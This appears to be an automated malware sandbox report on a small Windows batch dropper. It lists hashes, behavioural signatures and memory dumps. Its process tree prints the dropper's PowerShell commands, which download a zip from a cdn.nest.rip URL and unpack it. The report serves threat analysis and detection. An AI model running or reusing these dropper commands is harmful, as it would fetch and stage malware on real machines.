3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
122s
max time network
126s
platform
windows7_x64
resource
win7-20231025-en
resource tags

arch:x64arch:x86image:win7-20231025-enlocale:en-usos:windows7-x64system
submitted
06/11/2023, 23:24

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General

Target

tesy - Copy (12).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2612	powershell.exe
4	2612	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2612	powershell.exe
2516	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2612	powershell.exe
Token: SeDebugPrivilege	2516	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2380 wrote to memory of 2612	2380	cmd.exe	29
PID 2380 wrote to memory of 2612	2380	cmd.exe	29
PID 2380 wrote to memory of 2612	2380	cmd.exe	29
PID 2380 wrote to memory of 2516	2380	cmd.exe	32
PID 2380 wrote to memory of 2516	2380	cmd.exe	32
PID 2380 wrote to memory of 2516	2380	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (12).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2380
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2516

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
fa1b83739b6ad4d87fd1ed6446f39963

SHA1
433df6bcca1ea1949928be35b73c53aea1d728db

SHA256
baa105255540ce15aff6c14fb5f0ca5e27f69adde0cafd1370f38a578d3c2d67

SHA512
9b3cec5602ba6c37758345e6e6b69c499c56e03572c66c8bb6aedaf50f6537e789972392f255bdb16d95c7245c8918c6935a974f5c41fdeb7f2d552b2fe06dc9

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PR4B6BPNAA1DE2XIRUKU.temp

Filesize
7KB

MD5
fa1b83739b6ad4d87fd1ed6446f39963

SHA1
433df6bcca1ea1949928be35b73c53aea1d728db

SHA256
baa105255540ce15aff6c14fb5f0ca5e27f69adde0cafd1370f38a578d3c2d67

SHA512
9b3cec5602ba6c37758345e6e6b69c499c56e03572c66c8bb6aedaf50f6537e789972392f255bdb16d95c7245c8918c6935a974f5c41fdeb7f2d552b2fe06dc9

Download Submit
memory/2516-30-0x000007FEF5450000-0x000007FEF5DED000-memory.dmp

Filesize
9.6MB

Download
memory/2516-29-0x0000000002600000-0x0000000002680000-memory.dmp

Filesize
512KB

Download
memory/2516-28-0x0000000002600000-0x0000000002680000-memory.dmp

Filesize
512KB

Download
memory/2516-27-0x0000000002600000-0x0000000002680000-memory.dmp

Filesize
512KB

Download
memory/2516-25-0x000007FEF5450000-0x000007FEF5DED000-memory.dmp

Filesize
9.6MB

Download
memory/2516-26-0x0000000002460000-0x0000000002468000-memory.dmp

Filesize
32KB

Download
memory/2516-23-0x000000001B2D0000-0x000000001B5B2000-memory.dmp

Filesize
2.9MB

Download
memory/2516-24-0x000007FEF5450000-0x000007FEF5DED000-memory.dmp

Filesize
9.6MB

Download
memory/2612-9-0x00000000027C0000-0x0000000002840000-memory.dmp

Filesize
512KB

Download
memory/2612-15-0x00000000027C0000-0x0000000002840000-memory.dmp

Filesize
512KB

Download
memory/2612-17-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/2612-14-0x00000000027C0000-0x0000000002840000-memory.dmp

Filesize
512KB

Download
memory/2612-13-0x00000000027C0000-0x0000000002840000-memory.dmp

Filesize
512KB

Download
memory/2612-12-0x00000000027C0000-0x0000000002840000-memory.dmp

Filesize
512KB

Download
memory/2612-11-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/2612-10-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/2612-4-0x000000001B1D0000-0x000000001B4B2000-memory.dmp

Filesize
2.9MB

Download
memory/2612-8-0x00000000027C0000-0x0000000002840000-memory.dmp

Filesize
512KB

Download
memory/2612-7-0x00000000027C0000-0x0000000002840000-memory.dmp

Filesize
512KB

Download
memory/2612-6-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/2612-5-0x0000000002490000-0x0000000002498000-memory.dmp

Filesize
32KB

Download